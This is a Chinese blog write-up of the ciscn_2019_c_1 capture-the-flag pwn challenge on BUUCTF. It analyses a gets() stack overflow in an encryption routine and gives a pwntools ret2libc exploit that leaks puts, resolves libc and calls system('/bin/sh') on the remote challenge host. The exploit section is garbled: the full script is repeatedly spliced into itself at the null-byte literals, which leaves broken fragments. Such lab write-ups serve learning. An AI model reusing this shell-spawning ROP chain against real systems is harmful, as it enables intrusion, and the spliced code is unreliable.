PWN> [CISCN2019]ciscn_2019_c_1 [BUUCTF]

发布于 2022-11-20  16 次阅读


题目

这道题折磨了我很久都没打通,最终决定丢下
最近刚好出题碰到了栈平衡这么个机制,而且正好想要复现一下ret2libc2,机缘巧合之下重新审视这道题
此前一直以为是查询libc的问题,结果现在一看才发现其实是栈平衡在作祟,还有x64传参的一点小问题,小改一下EXP最终成功打通了

  • 靶机:Ubuntu18
  • 本地:Ubuntu22(WSL2)

分析

题目是一个字符串加密程序,encrypt函数如下

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

分析一下得知函数的逻辑:

  • memset函数把数组初始化为0
  • 有一个不知道哪来的变量x,如果x大于字符串长度就一直循环加密下去,而且会改变payload
  • 字符串长度由strlen函数求得,其用\0来判断字符串末尾

由于不知道x从何而来,我们就干脆让padding以\0为开头暴力绕过加密循环

然后来确定下偏移,从-0x50(数组s)到0x08(返回地址r)一共0x58

最后来找找传参用的gadget
x64传参机制比较神必,前六个参数必须通过寄存器传参,第一个参数存在rdi寄存器里
用神器ROPgadget找找(文件名:pwn)

ROPgadget --binary pwn --only 'pop|ret'
0x0000000000400c83 : pop rdi ; ret

okk万事俱备,最后来捋捋思路:

  1. 绕过加密并溢出->返回到gadget、传入puts的GOT地址->再返回到puts_plt输出地址->重新回到main函数
  2. 绕过+溢出->栈平衡(_init_proc)->返回到gadget、传入/bin/sh的地址->再返回到system->getshell

EXP

from pwn import*
from LibcSearcher import*

# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

rdi=0x400c83
ret=0x4006b9 

p.sendlineafter('Input your choice!\n','1')
payload=b'
from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9 
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'
from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9 
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
')) libc=LibcSearcher('puts',puts_addr) offset=puts_addr-libc.dump('puts') binsh=offset+libc.dump('str_bin_sh') system=offset+libc.dump('system') p.sendlineafter('Input your choice!\n','1') payload=b'
from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9 
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.interactive()

参考